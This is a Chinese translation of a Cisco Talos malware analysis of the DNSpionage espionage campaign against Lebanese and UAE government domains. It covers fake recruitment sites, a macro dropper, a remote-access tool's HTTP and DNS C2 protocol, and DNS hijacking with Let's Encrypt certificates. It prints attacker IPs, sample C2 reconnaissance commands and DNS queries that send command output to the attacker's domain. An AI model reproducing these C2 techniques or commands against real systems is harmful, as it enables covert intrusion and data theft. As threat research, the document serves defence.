攻擊中東地區的DNSpionage活動分析
概要
Cisco Talos近期發現一起攻擊黎巴嫩和阿聯酋的攻擊活動,攻擊活動影響.gov域名和黎巴嫩一傢俬有航空公司。研究發現,攻擊者首先深入分析了受害者的網路基礎設施以在攻擊過程中沒有被發現。
根據攻擊者的基礎設施和TTP,研究人員尚不能將攻擊活動與之前的攻擊活動或攻擊者聯絡在一起。攻擊活動中使用了兩個偽造的含有招聘資訊的惡意網站,招聘資訊利用含有嵌入巨集的惡意office文件來入侵目標。攻擊者使用的惡意軟體為DNSpionage,支援HTTP和DNS通訊。
攻擊者使用相同的IP來重定向合法.gov域名和私企域名的DNS流量。在DNS入侵過程中,攻擊者對每個重定向的域名都生成了Let’s Encrypt證書。這些證書支援X.509 TLS加密。
本文分析攻擊中使用的方法和惡意文件,以及惡意DNS重定向等。
感染路徑
假的招聘網站
攻擊者首先通過兩個模仿含有招聘資訊的合法網站來入侵使用者:
hr-wipro[.]com (重定向到wipro.com)hr-suncor[.]com (重定向到suncor.com)
這兩個網站都含有惡意office文件:hxxp://hr-suncor[.]com/Suncor_employment_form[.]doc。
該文件是Suncor Energy網站上的合法檔案的副本,其中含有惡意巨集。
截止目前,研究人員尚不清楚目標是如何接收這些連結的。攻擊者最可能是通過魚叉式釣魚攻擊來發送惡意文件的,也可能通過領英這樣的社交媒體平臺進行傳播。
惡意office文件
開啟第一個office文件後,使用者會收到一個訊息“Content Mode Available:”
惡意文件使用的巨集
分析的樣本中的巨集可以分為兩步:
-
文件開啟後,巨集會解碼一個base64編碼的PE檔案,並釋放到%UserProfile%\.oracleServices\svshost_serv.doc。
-
檔案關閉時,巨集會重新命名檔案svshost_serv.doc為svshost_serv.exe。然後,巨集會常見一個名為chromium updater v 37.5.0的計劃任務來執行二進位制檔案。計劃任務會立刻執行並且每分鐘重複。
這兩步的目的是為了繞過沙箱檢測。
當office關閉時,payload才會執行,也就是說需要人的互動才會應用payload。分析發現,巨集也是經過密碼保護的以防受害者通過office檢視巨集程式碼。
巨集使用經典字串混淆來繞過字串檢測:
schedule.service字串是通過拼接實現的。最終的payload是一個遠端管理工具DNSpionage。
DNSPIONAGE惡意軟體
惡意軟體分析
惡意文件釋放的DNSPIONAGE惡意軟體是一個之前沒有記錄的遠端管理工具。因為該惡意軟體支援DNS通道與攻擊者的基礎設施進行通訊,所以研究人員將其命名為DNSpionage。
DNSpionage在執行目錄中建立了自己的資料:
%UserProfile%\.oracleServices/%UserProfile%\.oracleServices/Apps/%UserProfile%\.oracleServices/Configure.txt%UserProfile%\.oracleServices/Downloads/%UserProfile%\.oracleServices/log.txt%UserProfile%\.oracleServices/svshost_serv.exe%UserProfile%\.oracleServices/Uploads/
-
Downloads目錄是用來儲存從C2下載的其他指令碼和工具的。
-
Uploads目錄是攻擊者在竊取發往C2伺服器前進行臨時儲存的。
-
log.txt檔案含有明文的日誌資訊。所有執行的命令都儲存在該日誌檔案中,檔案中也含有命令執行的結果。
-
Configure.txt中含有惡意軟體的配置資訊。攻擊者可以執行一個C2伺服器URL、URL和域名作為DNS隱蔽通道(COVERT CHANNEL)。另外,攻擊者還有一個定製的base64字母表來進行混淆。研究人員發現每個目標都有一個定製的字母表。
所有的資料都是以JSON格式傳輸的。這也是惡意軟體的大量程式碼都是JSON庫的原因。
通訊通道
惡意軟體使用HTTP和DNS來與C2伺服器進行通訊。
HTTP模式
到0ffice36o[.]com的DNS請求是用base64編碼的隨機資料進行的。該請求會註冊受感染的系統並接收HTTP伺服器的IP地址。DNS請求示例如下:
yyqagfzvwmd4j5ddiscdgjbe6uccgjaq[.]0ffice36o[.]com
惡意軟體可以偽造DNS請求,以提供給攻擊者更多的資訊。請求示例如下:
oGjBGFDHSMRQGQ4HY000[.]0ffice36o[.]com
前4個字母是惡意軟體用rand()函式隨機生成的。域名剩下的部分是用base32編碼的,解碼後的結果是1Fy2048。其中Fy是目標ID,2048(0x800)表示配置檔案未找到。該請求是在沒有在受感染的機器上提取出配置檔案的情況下執行的。並且會有訊息來通知攻擊者。
惡意軟體會執行一個初始的HTTP請求來從hxxp://IP/Client/Login?id=Fy
提取配置。
該請求是用來建立配置檔案的,特別是設定定製的base64字典。
第二個HTTP請求是hxxp://IP/index.html?id=XX(其中XX是受感染系統的ID)。該請求的目的是取回順序,該站點是一個偽造的Wikipedia頁面:
命令包含在該頁面的原始碼中:
本例中,命令是用標準base64演算法編碼的,所以研究人員沒有獲得定製的字典。下面是配置檔案中定製的字典:
下面是自動傳送給受感染系統的3個命令:
{"c": "echo %username%", "i": "-4000", "t": -1, "k": 0}{"c": "hostname", "i": "-5000", "t": -1, "k": 0}{"c": "systeminfo | findstr /B /C:\"Domain\"", "i": "-6000", "t": -1, "k": 0}
惡意軟體在執行這些命令後會生成下面的程式碼段:
攻擊者會請求從受感染的使用者域名中請求使用者名稱和主機名。第一步很明顯是一個偵察階段,資料最終會發送給hxxp://IP/Client/Upload。
最後,CreateProcess()會執行命令,輸出會被重定向到用CreatePipe()建立的管道。
DNS模式
惡意軟體也支援DNS-only模式。在該模式下,命令和答案都是通過DNS處理的。使用DNS有時候可以更簡單地將資訊發回給攻擊者,因為使用DNS協議可以繞過代理或web過濾。
首先, 惡意軟體會模擬一個DNS請求來請求命令,比如:
RoyNGBDVIAA0[.]0ffice36o[.]com
前4個字母是隨機生成的可以忽略,相關的資料就是GBDVIAA0。解碼後的值是0GT\x00。其中GT是目標ID,\x00是請求號。C2伺服器會回覆一個answer來響應DNS請求,應該是一個IP地址,但可能並不是DNS協議接受的有效IP地址。研究人員認為第一個值0x0001是下一個DNS請的命令ID,0x0003是命令的大小。
然後,惡意軟體會用命令ID來執行DNS查詢:
t0qIGBDVIAI0[.]0ffice36o[.]com (GBDVIAI0 => "0GT\x01")
C2伺服器會返回一個新IP:100.105.114.0。如果將該值轉化為ASCII碼,就是dir\x00,也就是要執行的命令。
最後,命令執行的結果會通過多個DNS請求傳送。
gLtAGJDVIAJAKZXWY000.0ffice36o[.]com -> GJDVIAJAKZXWY000 -> "2GT\x01 Vol"TwGHGJDVIATVNVSSA000.0ffice36o[.]com -> GJDVIATVNVSSA000 -> "2GT\x02ume"1QMUGJDVIA3JNYQGI000.0ffice36o[.]com -> GJDVIA3JNYQGI000 -> "2GT\x03in d"iucCGJDVIBDSNF3GK000.0ffice36o[.]com -> GJDVIBDSNF3GK000 -> "2GT\x04rive"viLxGJDVIBJAIMQGQ000.0ffice36o[.]com -> GJDVIBJAIMQGQ000 -> "2GT\x05 C h"[...]
DNS重定向
簡介
Talos共發現3個與DNSpionage域名相關的IP:
185.20.184.138185.161.211.72185.20.187.8
最後一個IP在9月到11月之間被用於DNS重定向攻擊。
多個黎巴嫩和阿聯酋公共組織和黎巴嫩企業的多個域名伺服器都被入侵了,主機名都被指向攻擊者控制的IP地址了。攻擊者重定向hostname到IP地址185.20.187.8。
在重定向IP前,攻擊者會使用Let’s Encrypt建立一個與域名相匹配的證書。
黎巴嫩政府域名重定向
Talos發現黎巴嫩財政部的郵箱域名也是惡意DNS重定向的受害者之一
webmail.finance.gov.lb在2 018年11月6日06:19:13被重定向 到了185.20.187.8,同日05:07:25有一個Let’s Encrypt證書被建立。
阿聯酋政府域名重定向
阿聯酋政府的域名也是攻擊的目標,研究人員發現一個警察和電信監管機構的域名。
adpvpn.adpolice.gov.ae在2018年9月13日06:39:39 被重定向到185.20.187.8 ,同日05:37:54有一個Let’s Encrypt證書被建立。
mail.mgov.ae在2018年9月15日07:17:51被重定向到185.20.187.8,同日06:15:51有一個Let’s Encrypt證書被建立。
mail.apc.gov.ae在2018年9月24日185.20.187.8,同日05:41:49有一個Let’s Encrypt證書被建立。
建立的證書中含有可選名(alternative names),這是DNS的一個特徵,允許多個域名加入到證書中進行SSL活動:
memail.mea.com.lbautodiscover.mea.com.lbowa.mea.com.lbwww.mea.com.lbautodiscover.mea.aeroautodiscover.meacorp.com.lbmea.aeromeacorp.com.lbmemailfr.meacorp.com.lbmeoutlook.meacorp.com.lbtmec.mea.com.lb
結論
調查發現攻擊活動中使用了DNSpionage惡意軟體和DNS重定向技術。在惡意軟體活動中,研究人員沒有發現具體的目標,但是可以確定攻擊目標中有黎巴嫩和阿聯酋的使用者。通過DNS重定向分析,研究人員發現攻擊者的目標是黎巴嫩和阿聯酋的政府機構和私有航空公司。研究人員相信這兩起攻擊活動都來源於同一攻擊者。根據攻擊活動分析,攻擊者的目標應該是政府機構等重要目標。
ofollow,noindex" target="_blank">https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html